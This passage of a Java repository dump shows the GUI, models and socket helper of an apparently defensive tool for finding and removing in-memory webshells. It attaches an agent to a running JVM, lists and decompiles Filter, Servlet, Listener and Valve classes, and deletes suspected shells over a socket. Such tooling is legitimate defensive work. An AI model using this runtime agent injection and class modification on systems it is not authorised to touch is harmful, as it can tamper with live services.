agentPath.toAbsolutePath().toString(); 399 | } else if (Files.exists(agentDepPath)) { 400 | path = agentDepPath.toAbsolutePath().toString(); 401 | } else { 402 | log("请检查当前目录的agent文件"); 403 | return; 404 | } 405 | log("加载Agent: " + path); 406 | vm.loadAgent(path, pass); 407 | vm.detach(); 408 | log("加载Agent程序完成"); 409 | 410 | if (SocketHelper.check()) { 411 | log("成功目标建立TCP连接"); 412 | } else { 413 | log("无法与目标建立TCP连接"); 414 | } 415 | 416 | } catch (Exception ignored) { 417 | new Thread(this::analyze).start(); 418 | } 419 | }); 420 | filterList.addMouseListener(new CommonMouse()); 421 | valveList.addMouseListener(new CommonMouse()); 422 | listenerList.addMouseListener(new CommonMouse()); 423 | servletList.addMouseListener(new CommonMouse()); 424 | analyzeButton.addActionListener(e -> new Thread(this::analyze).start()); 425 | killButton.addActionListener(e -> { 426 | String kill = killText.getText(); 427 | 428 | ClassObj co = null; 429 | for (ClassObj o : coList) { 430 | if (o.getClassName().equals(kill)) { 431 | co = o; 432 | } 433 | } 434 | 435 | if (co == null) { 436 | JOptionPane.showMessageDialog(shellPanel, "不存在该类"); 437 | return; 438 | } 439 | 440 | ClassObj finalCo = co; 441 | 442 | if (kill.startsWith("org.springframework")) { 443 | int i = JOptionPane.showConfirmDialog(shellPanel, "确定要修改Spring的类?"); 444 | if (i != 0) { 445 | return; 446 | } 447 | } 448 | if (kill.startsWith("org.apache")) { 449 | int i = JOptionPane.showConfirmDialog(shellPanel, "确定要修改Apache的类?"); 450 | if (i != 0) { 451 | return; 452 | } 453 | } 454 | if (kill.startsWith("java.") || kill.startsWith("javax.") || 455 | kill.startsWith("sun.") || kill.startsWith("com.sun.")) { 456 | int i = JOptionPane.showConfirmDialog(shellPanel, "确定要修改JDK的类?"); 457 | if (i != 0) { 458 | return; 459 | } 460 | } 461 | 462 | new Thread(() -> { 463 | try { 464 | if (finalCo.getType().equals("FILTER")) { 465 | SocketHelper.killFilter(kill); 466 | } 467 | if (finalCo.getType().equals("SERVLET")) { 468 | SocketHelper.killServlet(kill); 469 | } 470 | if (finalCo.getType().equals("LISTENER")) { 471 | SocketHelper.killListener(kill); 472 | } 473 | if (finalCo.getType().equals("VALVE")) { 474 | SocketHelper.killValve(kill); 475 | } 476 | log("已删除内存马: " + kill); 477 | } catch (Exception ex) { 478 | ex.printStackTrace(); 479 | log("无法删除内存马"); 480 | } 481 | }).start(); 482 | }); 483 | refreshButton.addActionListener(e -> { 484 | String pid = pidText.getText(); 485 | String pass = passText.getText(); 486 | if (pass.length() != 8) { 487 | JOptionPane.showMessageDialog(shellPanel, "请输入长度为8的密码"); 488 | return; 489 | } 490 | SocketHelper.setPass(pass); 491 | try { 492 | VirtualMachine vm = VirtualMachine.attach(pid); 493 | Path agentPath = Paths.get("agent.jar"); 494 | Path agentDepPath = Paths.get("agent-jar-with-dependencies.jar"); 495 | 496 | String path; 497 | if (Files.exists(agentPath)) { 498 | path = agentPath.toAbsolutePath().toString(); 499 | } else if (Files.exists(agentDepPath)) { 500 | path = agentDepPath.toAbsolutePath().toString(); 501 | } else { 502 | log("请检查当前目录的agent文件"); 503 | return; 504 | } 505 | vm.loadAgent(path, pass); 506 | vm.detach(); 507 | new Thread(this::analyze).start(); 508 | log("已刷新"); 509 | } catch (Exception ignored) { 510 | new Thread(this::analyze).start(); 511 | } 512 | }); 513 | } 514 | 515 | public void core(MouseEvent evt, JList list) { 516 | 517 | String pass = passText.getText(); 518 | if (pass.length() != 8) { 519 | JOptionPane.showMessageDialog(shellPanel, "请输入密码"); 520 | } 521 | SocketHelper.setPass(pass); 522 | 523 | int index = list.locationToIndex(evt.getPoint()); 524 | ClassObj res = (ClassObj) list.getModel().getElementAt(index); 525 | 526 | log("尝试获取字节码进行反编译"); 527 | 528 | new Thread(() -> { 529 | try { 530 | SocketHelper.getBytecode(res.getClassName()); 531 | } catch (Exception ex) { 532 | ex.printStackTrace(); 533 | log("无法连接目标"); 534 | } 535 | String classPath = "test.class"; 536 | String javaDir = "."; 537 | Path javaPathPath = Paths.get("test.java"); 538 | if (!Files.exists(Paths.get(classPath))) { 539 | log("未知的错误"); 540 | return; 541 | } 542 | try { 543 | Files.delete(javaPathPath); 544 | } catch (Exception ignored) { 545 | } 546 | String tips = "error"; 547 | new Thread(() -> { 548 | String total; 549 | String[] args = new String[]{ 550 | classPath, 551 | javaDir 552 | }; 553 | try { 554 | Files.delete(javaPathPath); 555 | } catch (IOException ignored) { 556 | } 557 | ConsoleDecompiler.main(args); 558 | try { 559 | total = new String(Files.readAllBytes(javaPathPath)); 560 | if (total.trim().equals("")) { 561 | total = tips; 562 | } else { 563 | total = "// QuiltFlower \n" + total; 564 | } 565 | } catch (Exception ignored) { 566 | total = tips; 567 | } 568 | try { 569 | Files.delete(javaPathPath); 570 | } catch (IOException ignored) { 571 | } 572 | 573 | total = total.replace("\r\n", "\n"); 574 | editorPanel.setText(total); 575 | }).start(); 576 | }).start(); 577 | } 578 | 579 | public static void log(String l) { 580 | String text = String.format("[*] %s\n", l); 581 | instance.logArea.append(text); 582 | } 583 | 584 | public static void start0() { 585 | FlatDarkLaf.setup(); 586 | JFrame frame = new JFrame("内存马查杀 by 4ra1n"); 587 | instance = new ShellForm(); 588 | frame.setContentPane(instance.shellPanel); 589 | frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); 590 | frame.pack(); 591 | 592 | frame.setResizable(false); 593 | frame.setSize(1300, 800); 594 | 595 | frame.setVisible(true); 596 | } 597 | 598 | { 599 | // GUI initializer generated by IntelliJ IDEA GUI Designer 600 | // >>> IMPORTANT!! <<< 601 | // DO NOT EDIT OR ADD ANY CODE HERE! 602 | $$$setupUI$$$(); 603 | } 604 | 605 | /** 606 | * Method generated by IntelliJ IDEA GUI Designer 607 | * >>> IMPORTANT!! <<< 608 | * DO NOT edit this method OR call it in your code! 609 | * 610 | * @noinspection ALL 611 | */ 612 | private void $$$setupUI$$$() { 613 | shellPanel = new JPanel(); 614 | shellPanel.setLayout(new GridLayoutManager(1, 1, new Insets(0, 0, 0, 0), -1, -1)); 615 | rootPanel = new JPanel(); 616 | rootPanel.setLayout(new GridLayoutManager(2, 7, new Insets(0, 0, 0, 0), -1, -1)); 617 | shellPanel.add(rootPanel, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false)); 618 | topPanel = new JPanel(); 619 | topPanel.setLayout(new GridLayoutManager(4, 4, new Insets(0, 0, 0, 0), -1, -1)); 620 | topPanel.setEnabled(false); 621 | rootPanel.add(topPanel, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false)); 622 | topPanel.setBorder(BorderFactory.createTitledBorder(null, "启动", TitledBorder.DEFAULT_JUSTIFICATION, TitledBorder.DEFAULT_POSITION, null, null)); 623 | runningButton = new JButton(); 624 | runningButton.setText("检测当前运行的Java进程"); 625 | topPanel.add(runningButton, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); 626 | processScroll = new JScrollPane(); 627 | processScroll.setHorizontalScrollBarPolicy(30); 628 | processScroll.setVerticalScrollBarPolicy(20); 629 | topPanel.add(processScroll, new GridConstraints(3, 0, 1, 4, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, null, null, null, 0, false)); 630 | processTable = new JTable(); 631 | processTable.setAutoCreateRowSorter(false); 632 | processTable.setFillsViewportHeight(false); 633 | processScroll.setViewportView(processTable); 634 | pidText = new JTextField(); 635 | topPanel.add(pidText, new GridConstraints(0, 2, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); 636 | attachButton = new JButton(); 637 | attachButton.setText("开始Attach"); 638 | topPanel.add(attachButton, new GridConstraints(0, 3, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); 639 | pidLabel = new JLabel(); 640 | pidLabel.setText("PID"); 641 | topPanel.add(pidLabel, new GridConstraints(0, 1, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); 642 | sshPanel = new JPanel(); 643 | sshPanel.setLayout(new GridLayoutManager(1, 2, new Insets(0, 0, 0, 0), -1, -1)); 644 | topPanel.add(sshPanel, new GridConstraints(2, 0, 1, 4, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false)); 645 | sshPanel.setBorder(BorderFactory.createTitledBorder(null, "远程", TitledBorder.DEFAULT_JUSTIFICATION, TitledBorder.DEFAULT_POSITION, null, null)); 646 | ipLabel = new JLabel(); 647 | ipLabel.setText("远程手动注入Agent后输入IP"); 648 | sshPanel.add(ipLabel, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); 649 | ipText = new JTextField(); 650 | sshPanel.add(ipText, new GridConstraints(0, 1, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(150, -1), null, 0, false)); 651 | final JPanel panel1 = new JPanel(); 652 | panel1.setLayout(new GridLayoutManager(1, 3, new Insets(0, 0, 0, 0), -1, -1)); 653 | topPanel.add(panel1, new GridConstraints(1, 0, 1, 4, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false)); 654 | passLabel = new JLabel(); 655 | passLabel.setText(" 长度为8的Token"); 656 | panel1.add(passLabel, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); 657 | passText = new JTextField(); 658 | panel1.add(passText, new GridConstraints(0, 1, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(150, -1), null, 0, false)); 659 | genButton = new JButton(); 660 | genButton.setText("自动生成"); 661 | panel1.add(genButton, new GridConstraints(0, 2, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); 662 | normalPanel = new JPanel(); 663 | normalPanel.setLayout(new GridLayoutManager(1, 1, new Insets(0, 0, 0, 0), -1, -1)); 664 | rootPanel.add(normalPanel, new GridConstraints(0, 1, 1, 5, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, new Dimension(450, -1), null, new Dimension(450, -1), 0, false)); 665 | normalPanel.setBorder(BorderFactory.createTitledBorder(null, "组件", TitledBorder.DEFAULT_JUSTIFICATION, TitledBorder.DEFAULT_POSITION, null, null)); 666 | tabbedPane = new JTabbedPane(); 667 | normalPanel.add(tabbedPane, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 1, false)); 668 | filtersPane = new JPanel(); 669 | filtersPane.setLayout(new GridLayoutManager(1, 1, new Insets(0, 0, 0, 0), -1, -1)); 670 | tabbedPane.addTab("Filter", filtersPane); 671 | filtersPane.setBorder(BorderFactory.createTitledBorder(null, "", TitledBorder.DEFAULT_JUSTIFICATION, TitledBorder.DEFAULT_POSITION, null, null)); 672 | filterScroll = new JScrollPane(); 673 | filtersPane.add(filterScroll, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, null, null, null, 0, false)); 674 | filterList = new JList(); 675 | filterScroll.setViewportView(filterList); 676 | servletsPane = new JPanel(); 677 | servletsPane.setLayout(new GridLayoutManager(1, 1, new Insets(0, 0, 0, 0), -1, -1)); 678 | tabbedPane.addTab("Servlet", servletsPane); 679 | servletsPane.setBorder(BorderFactory.createTitledBorder(null, "", TitledBorder.DEFAULT_JUSTIFICATION, TitledBorder.DEFAULT_POSITION, null, null)); 680 | servletScroll = new JScrollPane(); 681 | servletsPane.add(servletScroll, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, null, null, null, 0, false)); 682 | servletList = new JList(); 683 | servletScroll.setViewportView(servletList); 684 | listenerPane = new JPanel(); 685 | listenerPane.setLayout(new GridLayoutManager(1, 1, new Insets(0, 0, 0, 0), -1, -1)); 686 | tabbedPane.addTab("Listener", listenerPane); 687 | listenerPane.setBorder(BorderFactory.createTitledBorder(null, "", TitledBorder.DEFAULT_JUSTIFICATION, TitledBorder.DEFAULT_POSITION, null, null)); 688 | listenerScroll = new JScrollPane(); 689 | listenerPane.add(listenerScroll, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, null, null, null, 0, false)); 690 | listenerList = new JList(); 691 | listenerScroll.setViewportView(listenerList); 692 | valvePane = new JPanel(); 693 | valvePane.setLayout(new GridLayoutManager(1, 1, new Insets(0, 0, 0, 0), -1, -1)); 694 | tabbedPane.addTab("Valve", valvePane); 695 | valvePane.setBorder(BorderFactory.createTitledBorder(null, "", TitledBorder.DEFAULT_JUSTIFICATION, TitledBorder.DEFAULT_POSITION, null, null)); 696 | valveScroll = new JScrollPane(); 697 | valvePane.add(valveScroll, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, null, null, null, 0, false)); 698 | valveList = new JList(); 699 | valveScroll.setViewportView(valveList); 700 | codePanel = new JPanel(); 701 | codePanel.setLayout(new GridLayoutManager(1, 1, new Insets(0, 0, 0, 0), -1, -1)); 702 | rootPanel.add(codePanel, new GridConstraints(1, 1, 1, 6, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, new Dimension(500, 400), null, null, 0, false)); 703 | codePanel.setBorder(BorderFactory.createTitledBorder(null, "反编译代码", TitledBorder.DEFAULT_JUSTIFICATION, TitledBorder.DEFAULT_POSITION, null, null)); 704 | codeScroll = new JScrollPane(); 705 | codePanel.add(codeScroll, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, null, null, null, 0, false)); 706 | editorPanel = new JEditorPane(); 707 | editorPanel.setText(""); 708 | codeScroll.setViewportView(editorPanel); 709 | logPanel = new JPanel(); 710 | logPanel.setLayout(new GridLayoutManager(1, 1, new Insets(0, 0, 0, 0), -1, -1)); 711 | rootPanel.add(logPanel, new GridConstraints(1, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, new Dimension(400, -1), null, null, 0, false)); 712 | logPanel.setBorder(BorderFactory.createTitledBorder(null, "日志", TitledBorder.DEFAULT_JUSTIFICATION, TitledBorder.DEFAULT_POSITION, null, null)); 713 | logScroll = new JScrollPane(); 714 | logPanel.add(logScroll, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, null, null, null, 0, false)); 715 | logArea = new JTextArea(); 716 | logArea.setEditable(false); 717 | Font logAreaFont = this.$$$getFont$$$("Consolas", -1, 12, logArea.getFont()); 718 | if (logAreaFont != null) logArea.setFont(logAreaFont); 719 | logArea.setForeground(new Color(-16711895)); 720 | logScroll.setViewportView(logArea); 721 | confPane = new JPanel(); 722 | confPane.setLayout(new GridLayoutManager(1, 1, new Insets(0, 0, 0, 0), -1, -1)); 723 | rootPanel.add(confPane, new GridConstraints(0, 6, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, null, new Dimension(350, -1), 0, false)); 724 | confPane.setBorder(BorderFactory.createTitledBorder(null, "配置", TitledBorder.DEFAULT_JUSTIFICATION, TitledBorder.DEFAULT_POSITION, null, null)); 725 | confPanel = new JPanel(); 726 | confPanel.setLayout(new GridLayoutManager(5, 1, new Insets(0, 0, 0, 0), -1, -1)); 727 | confPane.add(confPanel, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false)); 728 | blackPanel = new JPanel(); 729 | blackPanel.setLayout(new GridLayoutManager(2, 1, new Insets(0, 0, 0, 0), -1, -1)); 730 | confPanel.add(blackPanel, new GridConstraints(1, 0, 3, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, new Dimension(-1, 100), null, null, 0, false)); 731 | blackPanel.setBorder(BorderFactory.createTitledBorder(null, "自定义黑名单", TitledBorder.DEFAULT_JUSTIFICATION, TitledBorder.DEFAULT_POSITION, null, null)); 732 | blackScroll = new JScrollPane(); 733 | blackPanel.add(blackScroll, new GridConstraints(1, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, null, null, null, 0, false)); 734 | blackArea = new JTextArea(); 735 | blackArea.setText(""); 736 | blackScroll.setViewportView(blackArea); 737 | blackTip = new JLabel(); 738 | blackTip.setText("每行一个(只显示包含黑名单字符串的类)"); 739 | blackPanel.add(blackTip, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); 740 | analyzePanel = new JPanel(); 741 | analyzePanel.setLayout(new GridLayoutManager(4, 3, new Insets(0, 0, 0, 0), -1, -1)); 742 | confPanel.add(analyzePanel, new GridConstraints(4, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false)); 743 | killButton = new JButton(); 744 | killButton.setText("删除内存马"); 745 | analyzePanel.add(killButton, new GridConstraints(3, 1, 1, 2, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); 746 | killText = new JTextField(); 747 | analyzePanel.add(killText, new GridConstraints(2, 0, 1, 3, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(150, -1), null, 0, false)); 748 | refreshButton = new JButton(); 749 | refreshButton.setText("刷新"); 750 | analyzePanel.add(refreshButton, new GridConstraints(3, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); 751 | analyzeButton = new JButton(); 752 | analyzeButton.setText("开始分析"); 753 | analyzePanel.add(analyzeButton, new GridConstraints(0, 0, 2, 3, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); 754 | checkPanel = new JPanel(); 755 | checkPanel.setLayout(new GridLayoutManager(3, 1, new Insets(0, 0, 0, 0), -1, -1)); 756 | confPanel.add(checkPanel, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false)); 757 | ignoreApacheBox = new JCheckBox(); 758 | ignoreApacheBox.setText("忽略org.apache开头的类"); 759 | checkPanel.add(ignoreApacheBox, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); 760 | ignoreJavaBox = new JCheckBox(); 761 | ignoreJavaBox.setText("忽略java/javax/sun开头的类"); 762 | checkPanel.add(ignoreJavaBox, new GridConstraints(1, 0, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); 763 | ignoreSpringBox = new JCheckBox(); 764 | ignoreSpringBox.setText("忽略org.springframework开头的类"); 765 | checkPanel.add(ignoreSpringBox, new GridConstraints(2, 0, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); 766 | } 767 | 768 | /** 769 | * @noinspection ALL 770 | */ 771 | private Font $$$getFont$$$(String fontName, int style, int size, Font currentFont) { 772 | if (currentFont == null) return null; 773 | String resultName; 774 | if (fontName == null) { 775 | resultName = currentFont.getName(); 776 | } else { 777 | Font testFont = new Font(fontName, Font.PLAIN, 10); 778 | if (testFont.canDisplay('a') && testFont.canDisplay('1')) { 779 | resultName = fontName; 780 | } else { 781 | resultName = currentFont.getName(); 782 | } 783 | } 784 | Font font = new Font(resultName, style >= 0 ? style : currentFont.getStyle(), size >= 0 ? size : currentFont.getSize()); 785 | boolean isMac = System.getProperty("os.name", "").toLowerCase(Locale.ENGLISH).startsWith("mac"); 786 | Font fontWithFallback = isMac ? new Font(font.getFamily(), font.getStyle(), font.getSize()) : new StyleContext().getFont(font.getFamily(), font.getStyle(), font.getSize()); 787 | return fontWithFallback instanceof FontUIResource ? fontWithFallback : new FontUIResource(fontWithFallback); 788 | } 789 | 790 | /** 791 | * @noinspection ALL 792 | */ 793 | public JComponent $$$getRootComponent$$$() { 794 | return shellPanel; 795 | } 796 | 797 | } 798 | -------------------------------------------------------------------------------- /gui/src/main/java/com/n1ar4/model/ClassObj.java: -------------------------------------------------------------------------------- 1 | package com.n1ar4.model; 2 | 3 | @SuppressWarnings("all") 4 | public class ClassObj { 5 | private String className; 6 | 7 | private String type; 8 | 9 | public ClassObj(String name,String type){ 10 | this.className= name; 11 | this.type = type; 12 | } 13 | 14 | public String getType() { 15 | return type; 16 | } 17 | 18 | public void setType(String type) { 19 | this.type = type; 20 | } 21 | 22 | public String getClassName() { 23 | return className; 24 | } 25 | 26 | public void setClassName(String className) { 27 | this.className = className; 28 | } 29 | 30 | @Override 31 | public String toString() { 32 | return getClassName(); 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /gui/src/main/java/com/n1ar4/model/ProcessObj.java: -------------------------------------------------------------------------------- 1 | package com.n1ar4.model; 2 | 3 | public class ProcessObj { 4 | private String id; 5 | private String name; 6 | 7 | public String getId() { 8 | return id; 9 | } 10 | 11 | public void setId(String id) { 12 | this.id = id; 13 | } 14 | 15 | public String getName() { 16 | return name; 17 | } 18 | 19 | public void setName(String name) { 20 | this.name = name; 21 | } 22 | 23 | @Override 24 | public String toString() { 25 | return id+name; 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /gui/src/main/java/com/n1ar4/start/SocketHelper.java: -------------------------------------------------------------------------------- 1 | package com.n1ar4.start; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.io.ObjectInputStream; 5 | import java.io.ObjectOutputStream; 6 | import java.net.Socket; 7 | import java.nio.file.Files; 8 | import java.nio.file.Paths; 9 | import java.util.ArrayList; 10 | import java.util.List; 11 | 12 | @SuppressWarnings("all") 13 | public class SocketHelper { 14 | private static String host; 15 | private static final int port = 10032; 16 | private static String pass; 17 | 18 | public static void setHost(String h) { 19 | host = h; 20 | } 21 | 22 | public static void setPass(String p) { 23 | pass = p; 24 | } 25 | 26 | public static boolean check() { 27 | try { 28 | new Socket(host, port); 29 | return true; 30 | } catch (Exception ex) { 31 | ex.printStackTrace(); 32 | return false; 33 | } 34 | } 35 | 36 | public static void getBytecode(String className) throws Exception { 37 | Socket client = new Socket(host, port); 38 | ByteArrayOutputStream bao = new ByteArrayOutputStream(); 39 | ObjectOutputStream oos = new ObjectOutputStream(bao); 40 | oos.writeObject(pass + "|" + className); 41 | client.getOutputStream().write(bao.toByteArray()); 42 | ObjectInputStream ois = new ObjectInputStream(client.getInputStream()); 43 | byte[] data = (byte[]) ois.readObject(); 44 | Files.write(Paths.get("test.class"), data); 45 | } 46 | 47 | public static void killFilter(String kill) throws Exception { 48 | Socket client = new Socket(host, port); 49 | ByteArrayOutputStream bao = new ByteArrayOutputStream(); 50 | ObjectOutputStream oos = new ObjectOutputStream(bao); 51 | oos.writeObject("" + pass + "|" + kill); 52 | client.getOutputStream().write(bao.toByteArray()); 53 | } 54 | 55 | public static void 